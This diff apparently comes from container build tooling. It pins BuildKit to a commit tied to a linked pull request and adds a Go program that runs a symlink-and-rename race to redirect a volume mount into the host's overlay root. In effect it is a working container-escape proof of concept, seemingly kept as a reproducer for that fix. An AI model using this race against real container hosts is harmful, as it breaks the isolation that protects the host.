@@ -19,6 +19,9 @@ if [[ "${buildkit_ref}" == *-*-* ]]; then

 	buildkit_ref=$(curl -s "https://api.github.com/repos/${buildkit_repo}/commits/${buildkit_ref}" | jq -r .sha)

 fi

+# https://github.com/moby/buildkit/pull/6278

+buildkit_ref="1030099b27bd3455bf7e5d5fe73b6be5dbec3c1f"

+

 cat << EOF

 BUILDKIT_REPO=$buildkit_repo

 BUILDKIT_REF=$buildkit_ref

new file mode 100644

@@ -0,0 +1,127 @@

+package main

+

+import (

+	"log"

+	"os"

+	"path/filepath"

+	"strings"

+

+	"github.com/moby/buildkit/identity"

+	"github.com/moby/sys/mountinfo"

+	"github.com/pkg/errors"

+)

+

+const volumePath = "/abc/a"

+

+var rootfs string

+

+func main() {

+	if err := run(); err != nil {

+		log.Printf("error: %+v", err)

+	}

+}

+

+func run() error {

+	infos, err := mountinfo.GetMounts(nil)

+	if err != nil {

+		return err

+	}

+	hasVolume := false

+	for _, info := range infos {

+		if info.Mountpoint == "/" {

+			v, err := getOverlayRootfs(info)

+			if err != nil {

+				return err

+			}

+			rootfs = v

+		}

+

+		if info.Mountpoint == volumePath {

+			hasVolume = true

+		}

+		log.Printf("mount: %+v", info)

+	}

+	if !hasVolume {

+		return errors.Errorf("volume not found: %s", volumePath)

+	}

+

+	log.Printf("rootfs: %s", rootfs)

+

+	base := filepath.Base(rootfs)

+	if err := os.Symlink("/", filepath.Join(volumePath, base)); err != nil {

+		return err

+	}

+

+	// create duplicate volume path with symlink target

+	p := "/"

+	var volumeRoot string

+	for _, c := range strings.Split(filepath.Dir(volumePath), string(filepath.Separator)) {

+		if c == "" {

+			continue

+		}

+		if volumeRoot == "" {

+			volumeRoot = "/" + c

+			c += "_target"

+		}

+		p = filepath.Join(p, c)

+		if err := os.Mkdir(p, 0755); err != nil {

+			if os.IsExist(err) {

+				continue

+			}

+			return err

+		}

+		log.Printf("created: %s", p)

+	}

+	if err := os.Symlink(filepath.Dir(rootfs), filepath.Join(p, filepath.Base(volumePath))); err != nil {

+		return err

+	}

+

+	if err := os.Rename(volumeRoot, volumeRoot+"_old"); err != nil {

+		return err

+	}

+

+	for {

+		if _, err := os.Stat(volumeRoot); err != nil {

+			if os.IsNotExist(err) {

+				continue

+			}

+			return err

+		}

+		// log.Printf("detected: %s", volumeRoot)

+		break

+	}

+

+	for {

+		if err := os.Rename(volumeRoot+"_target", volumeRoot); err != nil {

+			if os.IsExist(err) {

+				if err := os.Rename(volumeRoot, volumeRoot+"_"+identity.NewID()); err != nil {

+					return err

+				}

+				continue

+			}

+			log.Printf("failed to rename: %s", err)

+		}

+		break

+	}

+

+	return nil

+}

+

+func getOverlayRootfs(info *mountinfo.Info) (string, error) {

+	if info.FSType != "overlay" {

+		return "", errors.Errorf("not overlay: %s", info.FSType)

+	}

+	for _, opt := range strings.Split(info.VFSOptions, ",") {

+		parts := strings.SplitN(opt, "=", 2)

+		if parts[0] == "workdir" {

+			return filepath.Join(filepath.Dir(parts[1]), "merged"), nil

+		}

+	}

+	return "", errors.Errorf("workdir not found: %s", info.VFSOptions)

+}

+

+// /var/lib/docker/overlay2/86fcb18db0e3774cfe3b9ed6fa526d4dffcb45ac3b26cbe99db6c2d08e6dfc0e/merged

+

+// merged/<sym>/dir1/dir2/

+

+// volume